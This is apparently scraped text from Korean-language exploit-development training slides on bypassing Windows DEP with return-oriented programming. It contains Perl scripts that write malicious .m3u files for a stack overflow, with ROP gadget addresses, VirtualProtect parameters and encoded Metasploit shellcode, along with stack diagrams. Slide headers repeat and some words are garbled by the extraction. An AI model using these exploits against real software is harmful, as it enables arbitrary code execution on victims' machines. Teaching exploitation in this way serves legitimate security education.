  • 21. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice4. Gadget for modification registry my $file= "rop1.m3u"; my $buffersize = 26022; my $junk = "A" x $buffersize; my $eip=pack('V',0x100102DC); #pointer to RET my $junk2 = "AAAA"; #compensate, to make sure ESP points at first rop gadget my $rop = pack('V',0x10026D56); #POP EAX + RET (gadget 1) $rop = $rop . pack('V',0x414140C1); #this will be popped into EAX $rop = $rop . pack('V',0x1002DC24); #ADD EAX,80 + POP EBX + RET (gadget 2) $rop = $rop . pack('V',0xDEADBEEF); #this will be popped into EBX my $rest = "C" x 1000; my $payload = $junk.$eip.$junk2.$rop.$rest; print "Payload size : ".length($payload)."n"; open($FILE,">$file"); print $FILE $payload; close($FILE); print "m3u File $file Created successfullyn";
  • 22. Bypassing DEP by using ROP API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows7 Windows 2003 SP1 Windows 2008 VirtualAlloc Yes Yes Yes Yes Yes Yes Yes HeapCreate Yes Yes Yes Yes Yes Yes Yes SetProcessDEPPolicy No(1) Yes No(1) Yes No(2) No(1) Yes NtSetInformationProcess Yes Yes Yes No(2) No(2) Yes No(2) VirtualProtect Yes Yes Yes Yes Yes Yes Yes WriteProcessMemory Yes Yes Yes Yes Yes Yes Yes (1) = doesn’t exist (2) = will fail because of default DEP Policy settings Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Select Weapon for bypassing DEP
  • 23. Bypassing DEP by using ROP Select Weapon for bypassing DEP API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows7 Windows 2003 SP1 Windows 2008 VirtualAlloc Yes Yes Yes Yes Yes Yes Yes HeapCreate Yes Yes Yes Yes Yes Yes Yes SetProcessDEPPolicy No(1) Yes No(1) Yes No(2) No(1) Yes NtSetInformationProcess Yes Yes Yes No(2) No(2) Yes No(2) VirtualProtect Yes Yes Yes Yes Yes Yes Yes WriteProcessMemory Yes Yes Yes Yes Yes Yes Yes (1) = doesn’t exist (2) = will fail because of default DEP Policy settings Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming)
  • 24. Track3. Exploitation Bypassing DEP by using ROP VirtualProtect function info lpAddress : 권한을 변경하고자하는 메모리 영역의 주소 dwSize : 변경할 메모리 크기 flNewProtect : 변경할 플래그 (RWX등) lpflOldProtect : 현재 플래그를 저장할 주소 Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) PAGE_EXECUTE 0X10 / PAGE_EXECUTE_READ 0X20 /PAGE_EXECUTE_READWRITE 0X40 / PAGE_EXECUTE_WRITECOPY 0X80 PAGE_NOACCESS 0X01 / PAGE_READONLY 0X02 / PAGE_READWRITE X04 / PAGE_WRITECOPY 0X08
  • 25. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) by hand my $file= "rop2.m3u"; my $buffersize = 26022; my $junk = "Z" x $buffersize; my $eip=pack('V',0x7C801AD4); #pointer to VirtualProtect my $params= "VVVV"; $params = $params."WWWW"; $params = $params."XXXX"; $params = $params."YYYY"; $params = $params."ZZZZ"; # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" . …omit… "xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05"; my $nops = "x90" x 200; my $rest = "C" x 300; my $payload = $junk.$eip.$params.$nops.$shellcode.$rest; print "Payload size : ".length($payload)."n"; print "Shellcode size : ".length($shellcode)."n"; open($FILE,">$file"); print $FILE $payload; close($FILE); print "m3u File $file Created successfullyn";
  • 26. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP RET EBP Buffer[26020]
  • 27. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP RET EBP Z Z Z Z Z Z Z Z Z Z Z Z Z Buffer[Z 26020] Z Z Z Z Z Z Z Z Z Z Z Z Z Z
  • 28. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP VirtuaRlEPTro t ect( ) Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z
  • 29. Padding -> VVVV RET Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP VirtualProtect( ) Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z
  • 30. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP lpflOldProtect flNewProtect dwSize lpAddress return address Padding RET VirtualProtect( ) Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z
  • 31. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) by hand my $file= "rop2.m3u"; my $buffersize = 26022; my $junk = "Z" x $buffersize; my $eip=pack('V',0x7C801AD4); #pointer to VirtualProtect my $junk2 = "AAAA"; #compensates my $params=pack('V',0x01010101); #return address $params = $params."XXXX"; #lpAddress $params = $params."YYYY"; #Size - Shellcode length $params = $params."ZZZZ"; #flNewProtect $params = $params.pack('V',0x10035005); #writeable address # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" . …omit… "xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05"; my $nops = "x90" x 200; my $rest = "C" x 300; my $payload = $junk.$eip.$junk2.$params.$nops.$shellcode.$rest; print "Payload size : ".length($payload)."n"; print "Shellcode size : ".length($shellcode)."n"; open($FILE,">$file"); print $FILE $payload; close($FILE); print "m3u File $file Created successfullyn";
  • 32. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP lpflOldProtect flNewProtect dwSize lpAddress return address Padding RET VirtualProtect( ) Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z
  • 33. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP lpflOldProtect flNewProtect dwSize lpAddress 0x000FF80C Padding RET VirtualProtect( ) Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z 1번째 인자값을 쉘코드의 주소 변조 (수동으로) Shellcode
  • 34. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP lpflOldProtect flNewProtect dwSize 0x000FF80C 0x000FF80C Padding RET VirtualProtect( ) Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z 2번째 인자값을 쉘코드의 주소 변조 (수동으로) Shellcode
  • 35. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP lpflOldProtect flNewProtect 0x000002BC(700) 0x000FF80C 0x000FF80C Padding RET VirtualProtect( ) Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z 3번째 인자값을 쉘코드의 사이즈+@ 로 변조 (수동으로) Shellcode
  • 36. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP lpflOldProtect 0x00000040(RWX) 0x000002BC(700) 0x000FF80C 0x000FF80C Padding RET VirtualProtect( ) Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z 4번째 인자값을 RWX 권한 플래그로 변조 (수동으로) Shellcode
  • 37. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP 0x10035005 0x00000040(RWX) 0x000002BC(700) 0x000FF80C 0x000FF80C Padding RET VirtualProtect( ) Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z 5번째 인자값을 현재 플래그를 저장할 주소로 변조 (수동으로) Shellcode
  • 38. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP PUSH Parameters
  • 39. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP Call VirtualProtectEX Change the protection on a region of committed page and Return to start point of shell code , Execute it
  • 40. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Question.1 First. automatically set these arguments ?
  • 41. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Question.1 First. automatically set these arguments ? Yes
  • 42. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Question.2 Second. and then execute it ?
  • 43. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Question.2 Second. and then execute it ? Yes
  • 44. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Question.3 Third. How ?
  • 45. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Question.3 Third. How ? by using ROP
  • 46. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 두번째 인자 예약 공간에 값을 덮어씀 EIP
  • 47. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 48. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 49. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 50. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 51. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 52. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 53. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 54. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 55. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 56. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 57. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Control Flow of 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A Gadget B VirtualProtect( )를 가리키는 포인터 첫번째 인자 (WWWW) 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H Execution
  • 58. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -1 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 두번째 인자 예약 공간에 값을 덮어씀
